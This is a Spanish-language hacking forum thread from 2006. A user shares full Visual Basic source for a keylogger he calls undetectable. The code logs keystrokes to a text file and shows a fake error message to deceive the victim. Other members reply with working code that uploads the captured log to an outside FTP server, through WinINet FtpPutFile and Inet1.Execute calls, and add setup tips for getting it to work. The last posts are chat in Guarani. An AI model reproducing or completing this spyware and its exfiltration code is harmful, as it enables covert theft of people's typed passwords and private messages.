Foro de elhacker.net

Programación => Programación Visual Basic => Mensaje iniciado por: cherembo en 27 Septiembre 2006, 22:10 pm



Título: Ayuda kon Keylogger
Publicado por: cherembo en 27 Septiembre 2006, 22:10 pm
bueno, hice un keylogger, esta todo bien, es indetectable, pero necesito saber komo hago para que los datos suban a un ftp o se envien via email, les agradeceria muxo si me ayudan kon eso, por favor... gracias!!!!  :D


Título: Re: Ayuda kon Keylogger
Publicado por: Red Mx en 28 Septiembre 2006, 03:14 am
eso se me hace mas facil si tu keyloger recolecta todo en un txt luego se ejecuta la web php y envia el archivo a una base mysql en internet de ahi que la web lo envie a tu mail.


Pero bueno ahi otros metodos tambien y la pregunta que siempre les ago.


Que codigo tienes que haestigado o quieres ver quien te lo hace aqui,.


Título: Re: Ayuda kon Keylogger
Publicado por: cherembo en 28 Septiembre 2006, 16:11 pm
bueno les dejo el kodigo fuente, espero que me ayuden kon esto, eso que semenciono me gusto :)... en fin, aki les dejo la URL del keyloger, chekenlo  ;D

http://yma.acid-lounge.com/archivos/GeHeNa.rar

 :rolleyes: :rolleyes: :rolleyes:


Título: Re: Ayuda kon Keylogger
Publicado por: cherembo en 29 Septiembre 2006, 17:02 pm
cri cri... porfis....


Título: Re: Ayuda kon Keylogger
Publicado por: metalflap en 30 Septiembre 2006, 01:28 am
amigo cherembo, que tal si compartes tu codigo haciendo un Copy Paste en este foro?

gracias


Título: Re: Ayuda kon Keylogger
Publicado por: cherembo en 30 Septiembre 2006, 14:39 pm
ya lo comparti... pero nadie me hizo kaso debido a ello kite el kode...  :-( :-( :-(


Título: Re: Ayuda kon Keylogger
Publicado por: cherembo en 30 Septiembre 2006, 14:42 pm
pero aki va de nuevo...

Esto va en el form...

Código:
Private Sub Form_Load()
MsgBox "Error Al Ejecutar La Aplicación", 16, "Error"
GeHeNa_Texto_1 = ""
End Sub

Private Sub GeHeNa_Timer_1_Timer()
If ObtenerLaTeclaPresionada Then
GeHeNa_Texto_1.Text = GeHeNa_Texto_1.Text + Tecla_Presionada
End If
End Sub

esto va komo un modulo...

Código:
Private Declare Function EstadoDelTeclado Lib "user32" Alias "GetKeyboardState" _
(EstadoDeLaTecla As Byte) As Long
Const VK_CAPITAL = &H14
Private Declare Function EstadoDeLaTecla Lib "user32" _
Alias "GetKeyState" (ByVal nVirtKey As Long) As Integer
Private Declare Function ObtenerSiSePresionoLaTecla Lib "user32" _
Alias "GetAsyncKeyState" (ByVal vKey As Long) As Integer
Private Const Tecla_Shift As Integer = 16
Private Buscar_Tecla As Integer
Private Resultado_Tecla As Long
Private bShift As Boolean
Public Tecla_Presionada As String

Public Function ObtenerLaTeclaPresionada() As Boolean
Buscar_Tecla = 65
Do Until Buscar_Tecla = 91
Resultado_Tecla = ObtenerSiSePresionoLaTecla(Buscar_Tecla)
If Resultado_Tecla = -32767 Then
Resultado_Tecla = EstadoDeLaTecla(Tecla_Shift)
Tecla_Presionada = IIf(Resultado_Tecla < 0, Chr(Buscar_Tecla), LCase(Chr(Buscar_Tecla)))
Dim Estado As Boolean
Call CapsLock_rm(Estado)
If Estado = True Then
Tecla_Presionada = UCase(Tecla_Presionada)
End If
GoTo TeclaEncontrada
End If
Buscar_Tecla = Buscar_Tecla + 1
Loop
Buscar_Tecla = 48
Do Until Buscar_Tecla = 57
Resultado_Tecla = ObtenerSiSePresionoLaTecla(Buscar_Tecla)
If Resultado_Tecla = -32767 Then
Resultado_Tecla = EstadoDeLaTecla(Tecla_Shift)
If Resultado_Tecla < 0 Then
If Buscar_Tecla = 48 Then Tecla_Presionada = "="
If Buscar_Tecla = 49 Then Tecla_Presionada = "!"
If Buscar_Tecla = 50 Then Tecla_Presionada = "'"
If Buscar_Tecla = 51 Then Tecla_Presionada = "#"
If Buscar_Tecla = 52 Then Tecla_Presionada = "$"
If Buscar_Tecla = 53 Then Tecla_Presionada = "%"
If Buscar_Tecla = 54 Then Tecla_Presionada = "^"
If Buscar_Tecla = 55 Then Tecla_Presionada = "&"
If Buscar_Tecla = 56 Then Tecla_Presionada = "*"
If Buscar_Tecla = 58 Then Tecla_Presionada = "("
Else
Tecla_Presionada = Chr(Buscar_Tecla)
End If
GoTo TeclaEncontrada
End If
Buscar_Tecla = Buscar_Tecla + 1
Loop
Resultado_Tecla = ObtenerSiSePresionoLaTecla(13)
If Resultado_Tecla = -32767 Then
Tecla_Presionada = vbCrLf
Open App.Path & "\" & "GeHeNa.txt" For Append As #1
Write #1, GeHeNa.GeHeNa_Texto_1.Text
Close #1
GeHeNa.GeHeNa_Texto_1.Text = ""
GoTo TeclaEncontrada
End If
Resultado_Tecla = ObtenerSiSePresionoLaTecla(32)
If Resultado_Tecla = -32767 Then
Tecla_Presionada = " "
GoTo TeclaEncontrada
End If
Resultado_Tecla = ObtenerSiSePresionoLaTecla(8)
If Resultado_Tecla = -32767 Then
Tecla_Presionada = " BKSP "
GoTo TeclaEncontrada
End If
Resultado_Tecla = ObtenerSiSePresionoLaTecla(46)
If Resultado_Tecla = -32767 Then
Tecla_Presionada = " DEL "
GoTo TeclaEncontrada
End If
Resultado_Tecla = ObtenerSiSePresionoLaTecla(190)
If Resultado_Tecla = -32767 Then
Resultado_Tecla = EstadoDeLaTecla(Tecla_Shift)
Tecla_Presionada = IIf(Resultado_Tecla < 0, ">", ".")
GoTo TeclaEncontrada
End If
Resultado_Tecla = ObtenerSiSePresionoLaTecla(188)
If Resultado_Tecla = -32767 Then
Resultado_Tecla = EstadoDeLaTecla(Tecla_Shift)
Tecla_Presionada = IIf(Resultado_Tecla < 0, "<", ",")
GoTo TeclaEncontrada
End If
Resultado_Tecla = ObtenerSiSePresionoLaTecla(186)
If Resultado_Tecla = -32767 Then
Resultado_Tecla = EstadoDeLaTecla(Tecla_Shift)
Tecla_Presionada = IIf(Resultado_Tecla < 0, ":", ";")
GoTo TeclaEncontrada
End If
Resultado_Tecla = ObtenerSiSePresionoLaTecla(191)
If Resultado_Tecla = -32767 Then
Resultado_Tecla = EstadoDeLaTecla(Tecla_Shift)
Tecla_Presionada = IIf(Resultado_Tecla < 0, "?", "/")
GoTo TeclaEncontrada
End If
Resultado_Tecla = ObtenerSiSePresionoLaTecla(222)
If Resultado_Tecla = -32767 Then
Resultado_Tecla = EstadoDeLaTecla(Tecla_Shift)
Tecla_Presionada = IIf(Resultado_Tecla < 0, """", "'")
GoTo TeclaEncontrada
End If
Resultado_Tecla = ObtenerSiSePresionoLaTecla(192)
If Resultado_Tecla = -32767 Then
Resultado_Tecla = EstadoDeLaTecla(Tecla_Shift)
Tecla_Presionada = IIf(Resultado_Tecla < 0, "~", "`")
GoTo TeclaEncontrada
End If
Resultado_Tecla = ObtenerSiSePresionoLaTecla(189)
If Resultado_Tecla = -32767 Then
Resultado_Tecla = EstadoDeLaTecla(Tecla_Shift)
Tecla_Presionada = IIf(Resultado_Tecla < 0, "_", "-")
GoTo TeclaEncontrada
End If
Resultado_Tecla = ObtenerSiSePresionoLaTecla(187)
If Resultado_Tecla = -32767 Then
Resultado_Tecla = EstadoDeLaTecla(Tecla_Shift)
Tecla_Presionada = IIf(Resultado_Tecla < 0, "+", "=")
GoTo TeclaEncontrada
End If
ObtenerLaTeclaPresionada = False
Exit Function
TeclaEncontrada:
ObtenerLaTeclaPresionada = True
End Function

Public Sub CapsLock_rm(Estado As Boolean)
Dim EstadodelCapsLock As Boolean
Dim teclas(0 To 255) As Byte
EstadoDelTeclado teclas(0)
EstadodelCapsLock = teclas(VK_CAPITAL)
If EstadodelCapsLock <> True Then
Estado = False
ElseIf EstadodelCapsLock <> False Then
Estado = True
End If
End Sub


Título: Re: Ayuda kon Keylogger
Publicado por: cherembo en 1 Octubre 2006, 19:28 pm
ven.. despues de 1 dia... nada jajaja... a ver kuando alguien me ayuda!!!!  :huh: :huh: :huh: :huh:


Título: Re: Ayuda kon Keylogger
Publicado por: SheKeL_C$ en 1 Octubre 2006, 19:48 pm
Esta es la ayuda q da el api-guide:

Código:
Const FTP_TRANSFER_TYPE_UNKNOWN = &H0
Const FTP_TRANSFER_TYPE_ASCII = &H1
Const FTP_TRANSFER_TYPE_BINARY = &H2
Const INTERNET_DEFAULT_FTP_PORT = 21               ' default for FTP servers
Const INTERNET_SERVICE_FTP = 1
Const INTERNET_FLAG_PASSIVE = &H8000000            ' used for FTP connections
Const INTERNET_OPEN_TYPE_PRECONFIG = 0                    ' use registry configuration
Const INTERNET_OPEN_TYPE_DIRECT = 1                        ' direct to net
Const INTERNET_OPEN_TYPE_PROXY = 3                         ' via named proxy
Const INTERNET_OPEN_TYPE_PRECONFIG_WITH_NO_AUTOPROXY = 4   ' prevent using java/script/INS
Const MAX_PATH = 260
Private Type FILETIME
    dwLowDateTime As Long
    dwHighDateTime As Long
End Type
Private Type WIN32_FIND_DATA
    dwFileAttributes As Long
    ftCreationTime As FILETIME
    ftLastAccessTime As FILETIME
    ftLastWriteTime As FILETIME
    nFileSizeHigh As Long
    nFileSizeLow As Long
    dwReserved0 As Long
    dwReserved1 As Long
    cFileName As String * MAX_PATH
    cAlternate As String * 14
End Type
Private Declare Function InternetCloseHandle Lib "wininet.dll" (ByVal hInet As Long) As Integer
Private Declare Function InternetConnect Lib "wininet.dll" Alias "InternetConnectA" (ByVal hInternetSession As Long, ByVal sServerName As String, ByVal nServerPort As Integer, ByVal sUserName As String, ByVal sPassword As String, ByVal lService As Long, ByVal lFlags As Long, ByVal lContext As Long) As Long
Private Declare Function InternetOpen Lib "wininet.dll" Alias "InternetOpenA" (ByVal sAgent As String, ByVal lAccessType As Long, ByVal sProxyName As String, ByVal sProxyBypass As String, ByVal lFlags As Long) As Long
Private Declare Function FtpSetCurrentDirectory Lib "wininet.dll" Alias "FtpSetCurrentDirectoryA" (ByVal hFtpSession As Long, ByVal lpszDirectory As String) As Boolean
Private Declare Function FtpGetCurrentDirectory Lib "wininet.dll" Alias "FtpGetCurrentDirectoryA" (ByVal hFtpSession As Long, ByVal lpszCurrentDirectory As String, lpdwCurrentDirectory As Long) As Long
Private Declare Function FtpCreateDirectory Lib "wininet.dll" Alias "FtpCreateDirectoryA" (ByVal hFtpSession As Long, ByVal lpszDirectory As String) As Boolean
Private Declare Function FtpRemoveDirectory Lib "wininet.dll" Alias "FtpRemoveDirectoryA" (ByVal hFtpSession As Long, ByVal lpszDirectory As String) As Boolean
Private Declare Function FtpDeleteFile Lib "wininet.dll" Alias "FtpDeleteFileA" (ByVal hFtpSession As Long, ByVal lpszFileName As String) As Boolean
Private Declare Function FtpRenameFile Lib "wininet.dll" Alias "FtpRenameFileA" (ByVal hFtpSession As Long, ByVal lpszExisting As String, ByVal lpszNew As String) As Boolean
Private Declare Function FtpGetFile Lib "wininet.dll" Alias "FtpGetFileA" (ByVal hConnect As Long, ByVal lpszRemoteFile As String, ByVal lpszNewFile As String, ByVal fFailIfExists As Long, ByVal dwFlagsAndAttributes As Long, ByVal dwFlags As Long, ByRef dwContext As Long) As Boolean
Private Declare Function FtpPutFile Lib "wininet.dll" Alias "FtpPutFileA" (ByVal hConnect As Long, ByVal lpszLocalFile As String, ByVal lpszNewRemoteFile As String, ByVal dwFlags As Long, ByVal dwContext As Long) As Boolean
Private Declare Function InternetGetLastResponseInfo Lib "wininet.dll" Alias "InternetGetLastResponseInfoA" (lpdwError As Long, ByVal lpszBuffer As String, lpdwBufferLength As Long) As Boolean
Private Declare Function FtpFindFirstFile Lib "wininet.dll" Alias "FtpFindFirstFileA" (ByVal hFtpSession As Long, ByVal lpszSearchFile As String, lpFindFileData As WIN32_FIND_DATA, ByVal dwFlags As Long, ByVal dwContent As Long) As Long
Private Declare Function InternetFindNextFile Lib "wininet.dll" Alias "InternetFindNextFileA" (ByVal hFind As Long, lpvFindData As WIN32_FIND_DATA) As Long
Const PassiveConnection As Boolean = True

Private Sub Form_Load()
    Dim hConnection As Long, hOpen As Long, sOrgPath  As String
    hOpen = InternetOpen("API-Guide sample program", INTERNET_OPEN_TYPE_PRECONFIG, vbNullString, vbNullString, 0)
    hConnection = InternetConnect(hOpen, "el host del ftp", INTERNET_DEFAULT_FTP_PORT, "user", "pass", INTERNET_SERVICE_FTP, IIf(PassiveConnection, INTERNET_FLAG_PASSIVE, 0), 0)
    sOrgPath = String(MAX_PATH, 0)
    FtpPutFile hConnection, "{ruta del archivo local. PE : C:\a.txt}", "{Nombre cuando este en el server PE : a.txt", FTP_TRANSFER_TYPE_UNKNOWN, 0
    InternetCloseHandle hConnection
    InternetCloseHandle hOpen
End Sub

Salu2



Ahora q m fijo ay algunas apis q no se utilizan pero tmpoco importa  :rolleyes:


Título: Re: Ayuda kon Keylogger
Publicado por: ubetor^^ en 1 Octubre 2006, 20:08 pm
Yo lo hice mediante el control llamado "Microsoft Internet Tranfer Control". Este code lo que hace es enviar un .txt a un servidor FTP.

Código:
Inet1.Execute "ftp://user:password@ftp.usuarios.lycos.es", "PUT archivo a enviar.txt" & ".txt"

El .txt tiene que tener el mismo nombre que aparece en el code (en este caso "archivo a enviar.txt".

salu2


Título: Re: Ayuda kon Keylogger
Publicado por: cherembo en 2 Octubre 2006, 18:45 pm
Gracias por todo! me gusta muxo... kreo que voy a probar esto de msinet... muxas gracias enserio  ;D ;D ;D


Título: Re: Ayuda kon Keylogger
Publicado por: cherembo en 2 Octubre 2006, 19:21 pm
estuve provando la opcion que posteo Ubetor^^ y no me funciono... puse para que kada vez que se ejekute el keylogger haga ese proceso.. osea... al kargar el form... pero nada... lo estuve provando y no subio nada... no se si hice algo mal pero no me funciono yo hice de esta manera:
Código:
Inet1.Execute "ftp://user:password@ftp.usuarios.lycos.es", "PUT keys" & ".txt"

no se si esta bien... si hice algo mal que alguien me korrija porfa... :D


Título: Re: Ayuda kon Keylogger
Publicado por: ubetor^^ en 2 Octubre 2006, 20:40 pm
Me imagino que abrás agregado la OCX al proyecto antes de compilarlo. Por si no lo as exo, te vas a proyecto->Componentes->Y tildas la casilla del control (Microsoft Internet Transfer Protocol 6.0), después aplicas...

Tu cuenta FTP no tiene porque ser con lycos, pero a mi con otros dominios (como los de No-ip) no me funcionaron...por l que me creé una cuenta en lycos, y entonces si que funcionó...En este ejemplo el archivo llegaría con este nombre ".txt".

Este code lo que hace es enviar un .txt, este .txt debe ser creado por el programa...y en este caso el contenido serían las capturas del keylogger, xd Me imagino que habrás incluído el code  :-\

Aquí va el code de una aplicación que crea un .txt con el contenido de una variable (x ejemplo):

Código:
Open ("prueba.txt") For Output As #1
Print #1, capturadoporelkeylogger
Close #1
Inet1.Execute "ftp://user:pass@ftp.usuarios.lycos.es", "PUT prueba.txt " & ".txt"

Habiendo hecho todo esto no debería de haber ningún problema (si tienes firewall tendrás que darle acceso al programa...)

salu2 y suerte!

P.D: Estando yo en la conver preferirí que te dirigeses a mí en 2ª persona ;)


Título: Re: Ayuda kon Keylogger
Publicado por: cherembo en 3 Octubre 2006, 22:10 pm
te podria agregar al msn? ...ydiskulpa por referirme a ti en primera persona :p xD


Título: Re: Ayuda kon Keylogger
Publicado por: Castord en 4 Octubre 2006, 00:33 am
mba'eiko che kuate! jajaja

ñande reta ko'ape


Título: Re: Ayuda kon Keylogger
Publicado por: cherembo en 5 Octubre 2006, 20:19 pm
jajaja mba'e piuo rejapo nde ko'arupi... :p eñembo hacker se pio jajajaja


Título: Re: Ayuda kon Keylogger
Publicado por: Castord en 5 Octubre 2006, 23:39 pm
jajaja! kachiai loperro!!

nahani... aju reinte... aprograma vb6, c++, php, mysql... che rekoreigui aju... jajaja

che ajapo petei keylogger vb6 pe...

reipotavo cheavisante...

oima chera'a



Título: Re: Ayuda kon Keylogger
Publicado por: Castord en 5 Octubre 2006, 23:42 pm

ikalida la nde nick... jajaja

hetama aputa hese ahecharo ko'ape....


Título: Re: Ayuda kon Keylogger
Publicado por: cherembo en 6 Octubre 2006, 15:57 pm
oima che ra'a... che agregantema... msn pe... emondo cheve petei mensaje privado ... uperupi amondota ndeve la che email :D oimapa....